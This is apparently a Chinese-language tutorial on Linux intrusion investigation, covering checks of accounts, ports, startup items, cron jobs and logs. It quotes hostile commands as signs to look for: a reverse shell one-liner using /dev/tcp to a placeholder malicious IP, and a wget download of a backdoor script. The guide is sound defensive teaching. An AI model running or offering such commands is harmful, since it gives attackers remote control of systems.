应急响应linux
应急响应:
在网络安全领域,应急响应(Incident Response) 是指当网络安全事件(如黑客攻击、数据泄露、恶意软件感染等)发生时,为了最大限度减少损失、快速恢复系统正常运行、追溯事件根源并预防类似事件再次发生而采取的一系列有组织、有计划的应对措施。
在网络威胁日益复杂的背景下,即使拥有完善的防护体系,也难以完全避免安全事件。应急响应作为 “事后补救” 的关键环节,能够快速控制损失、缩短业务中断时间,同时通过复盘持续提升组织的安全能力,是网络安全防护体系中不可或缺的一部分。
linux入侵排查
查账号:
目的:发现攻击者创建的隐藏账户、特权账户滥用、弱口令账户或异常登录行为,阻断持续控制通道。
- 用户与权限
- 命令:
cat /etc/passwd
(列所有用户)、cat /etc/sudoers
(查 sudo 权限用户)、awk -F: '$3==0 {print $1}' /etc/passwd
(查 UID=0 的超级用户,正常应为 root)。 - 重点:无家目录(如
/bin/false
)、登录 shell 异常(如/bin/sh
而非/bin/bash
)的用户,或近期新增的未知用户。
- 命令:
- 登录记录
- 命令:
last
(成功登录历史)、lastb
(失败登录尝试)、cat /var/log/secure
(CentOS)或/var/log/auth.log
(Ubuntu),分析异常 IP、高频失败登录的账号。
- 命令:
可以查看/etc/passwd用户信息文件是否存在异常账号存在
格式:用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后的 shell
在这之下重点查 bin/bash,因为用bin/bash登录,说明被人添加了新用户并且可以登录。攻击者上传的后门脚本(如 reverse_shell.sh
),几乎都会用 #!/bin/bash
作为解释器。查 bash
进程、启动记录,可发现脚本的执行痕迹;而用nologin大概率没被入侵,因为不能登录。
查端口:
目的:发现恶意程序监听端口、与外部 C&C 服务器(命令控制端)的连接,或未授权开放的服务端口。
- 命令行排查
netstat -tulnp
或ss -tulnp
:显示 TCP/UDP 端口及关联进程(需 root 权限)。lsof -i :<端口号>
:查询特定端口对应的进程。- 重点:非标准端口(如 3389 外的远程桌面端口、高位随机端口)、与陌生 IP 的长连接(尤其是境外 IP)。
使用 netstat 网络连接命令,分析可疑的端口,IP和PID netstat -antlp | more
如发现异常,可以查看PID对应的进程文件路径
运行 ls -l /proc/$PID/exe 或 file /proc/$PID/exe($PID 为对应的 pid 号)
使用ps aux | grep pid 命令分析进程
查启动项:
目的:发现攻击者配置的恶意程序开机自启动项,阻止其持久化控制。
- 系统服务启动项
systemctl list-unit-files --type=service --state=enabled
:列出开机自启服务,检查服务名称是否陌生(如 “sysupdate”“networkd” 等仿冒名)。
- 用户级启动项
/etc/rc.local
(开机脚本)、/etc/profile.d/
(用户登录脚本),查看是否有新增的恶意命令(如wget http://恶意IP/backdoor.sh
)。- 用户目录:
~/.bashrc
~/.profile
,检查是否被植入自启动命令。
可以使用 more /etc/rc.local
/etc/rc.d/rc[0~6].d
ls -l /etc/rc.d/rc3.d/
去排查启动项文件
查定时任务※:
目的:攻击者常通过定时任务执行反弹 shell、下载恶意程序等操作,需排查隐藏的周期性任务。
- 系统级定时任务
crontab -l
(当前用户任务)、cat /etc/crontab
(系统全局任务)。- 目录排查:
/etc/cron.d/
/etc/cron.hourly/
/etc/cron.daily/
,检查是否有陌生脚本(如文件名随机、权限异常)。
- 异常特征
- 任务内容含
wget
curl
下载恶意文件、bash -i >& /dev/tcp/恶意IP/端口 0>&1
(反弹 shell)等命令。
- 任务内容含
使用crontab 创建计划任务
crontab -l 列出某个用户cron服务的详细内容
-r 删除每个用户cront任务(谨慎:删除所有的计划任务)
-e 使用编辑器编辑当前的crontab文件
如:*/1 * * * * echo "hello world" >> /tmp/test.txt 每分钟写入文件“hello world”传入tmp下的test.txt
也可以利用anacron命令实现异步定时任务调度
如:每天运行/home/shell.sh脚本
vi /etc/anacrontab
@daily 5 example.daily /bin/bash /home/backup.sh
当机器在 backup.sh 期望被运行时是关机的,anacron会在机器开机5分钟之后运行它,而不用再等待 7天。
重点排查以下目录中是否存在恶意脚本
/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
可以使用 more /etc/cron.daily/* 查看目录下所有文件
进到 /etc/cron.daily/*
这个轮转服务的功能:把每天的日志传到日志服务器。
查日志
目的:通过日志还原攻击时间线、定位入侵点(如漏洞利用、社工攻击),为溯源提供依据。
- 系统日志
/var/log/messages
(系统消息):查内核事件、服务启动失败(可能因恶意程序占用端口)。
- 应用日志
- Nginx/Apache 日志(
/var/log/nginx/access.log
):分析 Web 请求中的攻击特征(如/etc/passwd
路径遍历)。
- Nginx/Apache 日志(
日志的默认存放位置为:/var/log
查看日志的配置情况:more /etc/rsyslog.conf
如图:
日志文件 | 说明 |
---|---|
/var/log/btmp | 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看 |
/var/log/lastlog | 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看 |
/var/log/wtmp 重点※ | 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看 |
/var/log/utmp | 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询 |
/var/log/secure | 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中 |